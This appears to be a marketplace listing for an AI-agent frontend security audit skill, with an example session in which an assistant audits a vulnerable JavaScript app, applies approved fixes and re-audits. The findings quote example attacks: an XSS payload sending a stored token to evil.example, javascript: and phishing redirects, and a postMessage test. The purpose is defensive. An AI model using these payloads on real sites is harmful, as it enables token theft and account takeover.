Works with the AI Agents you already use
Frontend Security Audit Fix Pass
A security pass over your frontend: XSS sinks, open redirects, postMessage, cookies, storage and CSP, severity-ranked, with fixes applied only after you choose them, then re-audited
$5
/moSubscription · cancel anytime
Secure checkout via Stripe
- Always the latest version
- Delivered live to your agent via MCP
- Cancel anytime, access ends at period end
Frontend Security Audit Fix Pass
Example session with this skill installed
Run a security audit on this and fix what you find. The audit plan is approved in advance and you may apply every Critical and High fix; list anything lower as deferred. It's a vanilla JS single-page app, one file:
src/app.js
const params = new URLSearchParams(location.search);
document.getElementById('greeting').innerHTML = 'Hello ' + params.get('name');
const next = params.get('next');
if (next) location.href = next;
async function login(user, pass) {
const r = await fetch('/api/login', { method: 'POST', body: JSON.stringify({ user, pass }) });
const { token } = await r.json();
localStorage.setItem('token', token);
document.cookie = 'session=' + token;
}
window.addEventListener('message', (e) => { eval(e.data.code); });
function renderComment(c) {
document.querySelector('#comments').insertAdjacentHTML('beforeend', '<li>' + c.body + '</li>');
}
index.html has <meta http-equiv="Content-Security-Policy" content="default-src * 'unsafe-inline' 'unsafe-eval'">.
- Read your context and instructions
- Compiled the frontend security audit
- Generated the UI component
Frontend security audit: src/app.js + index.html
I found three Critical issues. Each one lets an attacker run their own script in your origin and take the login token. There are also three High issues and two lower ones. Every Critical and High fix is applied in the code below. The rest are listed as deferred.
1. Stack and entry points
- Framework: vanilla JS, no framework. The app shell is
index.htmlandsrc/app.jsis its only script. - Build tool: unknown. You didn't paste a
package.json, so I'm assuming the file is served as-is. - Routing: none. The app reads its state from the query string (
?name=,?next=).
What I could see: all 14 lines of src/app.js, and from index.html only the CSP <meta> tag. I quote line numbers from app.js as you pasted it.
2. Attack surface map
| Line | Code | Surface |
|---|---|---|
| 1 | new URLSearchParams(location.search) | source: the URL, which any attacker can set |
| 2 | #greeting.innerHTML = 'Hello ' + params.get('name') | HTML sink, fed by the URL |
| 3-4 | location.href = params.get('next') | navigation sink, fed by the URL |
| 6-7 | fetch('/api/login'), then r.json() | network: credentials go out, the token comes back |
| 8 | localStorage.setItem('token', token) | token storage |
| 9 | document.cookie = 'session=' + token | cookie write |
| 11 | addEventListener('message', e => eval(e.data.code)) | cross-window input reaching a code-execution sink |
| 13 | insertAdjacentHTML('beforeend', '<li>' + c.body + '</li>') | HTML sink, fed by comment data (stored) |
index.html | <meta http-equiv="Content-Security-Policy" ...> | the policy that should contain all of the above |
3. Module manifest
| Module | Files / lines | Covers |
|---|---|---|
| M1: URL-driven render and navigation | src/app.js lines 1-4 | ?name greeting, ?next redirect |
| M2: Auth and session storage | src/app.js lines 5-10 | login(), the token in localStorage, the session cookie |
| M3: Cross-window messaging | src/app.js line 11 | the message listener |
| M4: Comment rendering | src/app.js lines 12-14 | renderComment() |
| M5: Document shell and policy | index.html | the CSP meta tag |
4. Audit plan and your confirmation
| Module | Threat classes checked |
|---|---|
| M1 | reflected/DOM XSS, javascript: scheme, open redirect |
| M2 | cookie flags (HttpOnly/Secure/SameSite/scope), token exposure in storage, response handling |
| M3 | postMessage origin check, code-execution sinks |
| M4 | stored XSS through HTML-insertion sinks |
| M5 | CSP directives: wildcards, unsafe-inline, unsafe-eval, missing directives |
You approved this ahead of time: "The audit plan is approved in advance and you may apply every Critical and High fix; list anything lower as deferred."
5. Findings per module
M1: URL-driven render and navigation
- F1, Critical,
src/app.js:2, DOM-based reflected XSS (innerHTML). Anyone who sends a victim a link like?name=<img src=x onerror="fetch('//evil.example/?t='+localStorage.token)">runs that script in your origin as soon as the page loads, and it reads the token from line 8. - F2, Critical,
src/app.js:4,javascript:navigation plus open redirect (location.href).?next=javascript:...runs script in your origin.?next=https://evil.example/loginsends users from your domain to a phishing page that looks like yours.
M2: Auth and session storage (step 7, cookies and storage)
- F3, High,
src/app.js:9, session cookie written without flags. It has noSecure, so it can go out over plain HTTP. It has noSameSiteand noPath. Because JavaScript writes it, it can never beHttpOnly, which means every XSS can read the session.
F4, Medium, src/app.js:8, bearer token in localStorage. Any script on the page can read it, with no expiry and no flags. On its own it is not a hole, but it turns every XSS into account takeover. Deferred.
F5, Low, src/app.js:6-7, unchecked login response. The code never checks r.ok. A failed login stores the string "undefined" as the token and as the session cookie, and the body is sent without Content-Type: application/json. Deferred.
M3: Cross-window messaging
- F6, Critical,
src/app.js:11,evalof postMessage data with no origin check. Any page that can get a window handle to yours (it opens your app withwindow.open, frames it, or is its opener) can send{code: "..."}and run arbitrary JavaScript in your origin. This needs no user interaction beyond visiting the attacker's page.
M4: Comment rendering
- F7, High,
src/app.js:13, stored XSS (insertAdjacentHTML). A comment whose body is<img src=x onerror=...>runs in the browser of everyone who views the comments.
M5: CSP and headers (step 6, policy gap list)
- F8, High,
index.htmlCSP meta tag, permissive policy. It fails in four ways:default-src *: the wildcard lets scripts, frames and connections come from any host, so an injected<script src="//evil.example/x.js">loads, and data can be exfiltrated to any host.default-src 'unsafe-inline': inline<script>andon*=handlers run, so the payloads in F1 and F7 run.default-src 'unsafe-eval':evalis allowed, so F6 runs.- These directives are missing:
object-src,base-uriandform-action.frame-ancestorsis missing too, and it can't be set from a meta tag anyway.
6. Consolidated summary, by severity
| # | Severity | Location | Sink / issue | Proposed fix | Decision |
|---|---|---|---|---|---|
| F1 | Critical | app.js:2 | innerHTML from ?name | write with textContent | apply |
| F2 | Critical | app.js:4 | location.href from ?next | parse it and allow only same-origin http(s) | apply |
| F6 | Critical | app.js:11 | eval(e.data.code), no origin check | drop eval; check the origin and use a named-action allow-list | apply |
| F3 | High | app.js:9 | session cookie with no flags | add Path=/; Secure; SameSite=Strict (full fix is server-side) | apply |
| F7 | High | app.js:13 | insertAdjacentHTML with c.body | build the <li> and set textContent | apply |
| F8 | High | index.html | default-src * 'unsafe-inline' 'unsafe-eval' | strict same-origin policy | apply |
| F4 | Medium | app.js:8 | token in localStorage | server issues an HttpOnly cookie; delete this line | deferred |
| F5 | Low | app.js:6-7 | no r.ok check, no JSON content type | check the response before storing anything | deferred |
Your fix selection: every Critical and High finding (F1, F2, F3, F6, F7, F8). F4 and F5 are deferred.
7. Fixes applied
src/app.js, fixed
const params = new URLSearchParams(location.search);
// F1: the URL is text, never markup.
document.getElementById('greeting').textContent = 'Hello ' + params.get('name');
// F2: only follow ?next when it resolves to this origin over http(s).
function safeNextUrl(raw) {
if (!raw) return null;
let url;
try {
url = new URL(raw, location.origin);
} catch {
return null;
}
if (url.protocol !== 'https:' && url.protocol !== 'http:') return null; // blocks javascript:, data:, vbscript:
if (url.origin !== location.origin) return null; // blocks //evil.example, /\evil.example, https://evil.example
return url.href; // absolute, so a path like //evil.example cannot become protocol-relative
}
const next = safeNextUrl(params.get('next'));
if (next) location.assign(next);
async function login(user, pass) {
const r = await fetch('/api/login', { method: 'POST', body: JSON.stringify({ user, pass }) });
const { token } = await r.json();
localStorage.setItem('token', token);
// F3: flags a script-written cookie can carry. HttpOnly cannot be set from JS - see residual risk.
document.cookie = 'session=' + token + '; Path=/; Secure; SameSite=Strict';
}
// F6: no code strings from other windows. Same-origin senders, named actions only.
const MESSAGE_HANDLERS = {
// 'refresh-comments': (payload) => { ... },
};
window.addEventListener('message', (e) => {
if (e.origin !== location.origin) return;
const data = e.data;
if (!data || typeof data.action !== 'string') return;
if (!Object.prototype.hasOwnProperty.call(MESSAGE_HANDLERS, data.action)) return;
MESSAGE_HANDLERS[data.action](data.payload);
});
// F7: comment bodies are text, never markup.
function renderComment(c) {
const li = document.createElement('li');
li.textContent = c.body;
document.querySelector('#comments').append(li);
}
index.html, CSP meta tag replaced
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self'">
Keep this tag as the first child of <head>, before any <script> or <link>. A meta CSP only applies to content that comes after it.
Before and after
| # | Before | After | Behaviour change to watch |
|---|---|---|---|
| F1 | innerHTML = 'Hello ' + name | textContent = 'Hello ' + name | None for normal names. Markup in ?name now shows up as literal text. |
| F2 | location.href = next (anything) | location.assign(next) only for same-origin http(s) URLs | ?next=/dashboard and ?next=/a?b=1#c still work. Off-site and javascript: values are now ignored and the user stays on the page. If you rely on a legitimate redirect to another domain (SSO, a partner site), tell me and I'll add an explicit allow-list of origins. |
| F3 | session=<token> | session=<token>; Path=/; Secure; SameSite=Strict | Secure cookies are accepted on https:// and on http://localhost in current Chrome, Edge and Firefox, but not on other plain-HTTP hosts. Strict keeps the cookie off cross-site requests. Your same-site fetch calls still carry it. Only the very first navigation from an external link goes without it, which an SPA served from index.html normally doesn't notice. |
| F6 | eval(e.data.code) from any origin | origin check, then a named handler from MESSAGE_HANDLERS | This removes a capability. Whatever was posting {code: ...} stops working. Move each thing it did into a named handler and post {action: 'name', payload}. If the sender lives on a different origin, replace location.origin in the check with that one exact origin. If nothing sends messages, delete the listener. |
| F7 | insertAdjacentHTML('<li>' + c.body + '</li>') | createElement('li') + textContent | Comments show up as plain text. If comments are meant to carry formatting, run them through DOMPurify and keep the HTML sink. Don't go back to raw concatenation. |
| F8 | default-src * 'unsafe-inline' 'unsafe-eval' | same-origin only, no inline script, no eval | I only saw the meta tag, so check the rest of index.html. Any inline <script> block or onclick= attribute will now be blocked: move it into app.js. Any inline <style> or style= attribute is blocked by style-src 'self': move it to a stylesheet. Any CDN, font, analytics or API on another host needs that exact host added to the directive it uses (script-src, font-src, connect-src...), never *. On first load, open the console and look for "Refused to ..." messages. Each one names the directive to adjust. |
8. Re-audit delta
I ran the same five-module checklist again over both changed files:
| # | Status | Evidence |
|---|---|---|
| F1 | Resolved | Line 2 writes textContent. No HTML sink in M1 receives URL data. |
| F2 | Resolved | safeNextUrl rejects every non-http(s) scheme and every foreign origin, including //host, /\host and https://host, before navigating. It returns an absolute URL, so a same-origin path that starts with // can't turn into a protocol-relative redirect. |
| F3 | Resolved as far as the frontend can go | Secure, SameSite=Strict and Path=/ are set. HttpOnly is still missing because JavaScript can't set it (see residual risk). |
| F6 | Resolved | No eval, Function or string-to-code path remains. Messages from other origins are dropped, and only named handlers that are your own own-properties can run. |
| F7 | Resolved | renderComment builds the node and writes textContent. No HTML is parsed from c.body. |
| F8 | Resolved | Wildcard, 'unsafe-inline' and 'unsafe-eval' are gone from every directive. object-src 'none', base-uri 'none' and form-action 'self' were added. Even if a sink came back later, inline and eval payloads would now be blocked. |
New sinks introduced: zero. In both files there are now 0 uses of innerHTML, outerHTML, insertAdjacentHTML, document.write, eval and new Function. The new code uses textContent, createElement, append, and a location.assign that only gets a validated same-origin URL. F4 and F5 are unchanged, as agreed.
I verified this by reading the code, not by running it, because I don't have the app here. Five quick checks in the browser will confirm it:
?name=<img src=x onerror=alert(1)>shows the text and no alert.?next=javascript:alert(1)and?next=https://example.comstay on the page.?next=/navigates.- From another origin's console,
w = window.open('<your app>'); w.postMessage({code:'alert(1)'}, '*')does nothing. - A comment with body
<b>x</b>shows literal tags. - A normal load shows no CSP violations in the console.
9. Final report
- Modules audited: 5 (M1-M5), covering all of
src/app.jsand the CSP inindex.html. - Findings: 3 Critical (F1, F2, F6), 3 High (F3, F7, F8), 1 Medium (F4), 1 Low (F5).
- Fixes applied (6): F1, F2, F3, F6, F7, F8.
-
Deferred (2):
F4, Medium: token in localStorage. Deleting line 8 is the fix, but only once the server sets the session cookie itself (below). Otherwise anything that reads the token breaks.
F5, Low: in login(), add headers: { 'Content-Type': 'application/json' } and if (!r.ok) throw new Error('login failed') before the token is stored.
- Residual risk (backend and infra, outside this frontend audit):
- The session cookie should come from the server as
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict; Path=/./api/loginshould then stop returning the token in JSON. That closes the rest of F3 and makes F4 a one-line deletion. - Send the CSP as an HTTP response header as well, adding
frame-ancestors 'none'(or your real embedders), which a meta tag can't carry. That protects against clickjacking. - Comment bodies are stored and served by your API. Validate them server-side too, and if the server ever renders them into HTML, encode them there.
/api/loginitself (rate limiting, credential handling) and CSRF protection on state-changing API routes are server-side and weren't reviewed here.
- The session cookie should come from the server as
index.html
TSX · React component
Example file from a real run - the skill writes it into your workspace.
Subscription · always the latest version
- Secure checkout via Stripe
- Cancel anytime
- Delivered live via MCP
About this skill
A structured security review of a frontend app, instead of one quick grep. It maps every place untrusted data can reach (HTML sinks, redirects, postMessage listeners, cookie and storage writes, the Content Security Policy), splits the app into modules, and checks each module against a fixed threat list. Every finding comes with its file, line, severity and a one-line explanation of how it would be exploited. Nothing is edited until you pick which fixes to apply.
What it does
You get the confirmed stack, an attack-surface map, a module manifest, the audit plan, per-module findings, a severity-ranked summary with a proposed fix for each, the fixes you approved applied with before-and-after notes, a re-audit that marks each fixed finding resolved and confirms no new sink was added, and a final report that separates fixes applied, findings deferred, and backend or infra risk outside the frontend.
Try it first
Point it at a repo, or paste a file, and say "run a security audit on this and fix what you find". It presents the plan and waits. Approve it, choose what to fix (for example every Critical and High), and check that the re-audit names each one as resolved.
What it needs
Read access to the source, plus write access if you want fixes applied in place. Works for React, Vue, Svelte, Angular and plain JavaScript. No scanners to install, no network access, no API keys.
It reviews the frontend only. Server-side issues such as HttpOnly cookies set by the API, rate limiting, CSRF on API routes and server rendering are listed as residual risk, not fixed. It reads code rather than running it, so each fix is checked by re-reading, and the report says so and gives you browser checks to confirm them. A CSP set in a meta tag can't carry every directive (frame-ancestors, for one), and the report points those out. On a large app it audits in modules of up to 25 files, so a full pass takes several rounds.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before any payment.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
Fresh listing
Recently published to Agensi
Free forever
No account required to browse
Trust & safety
Security scan
Security scan passed 28 days ago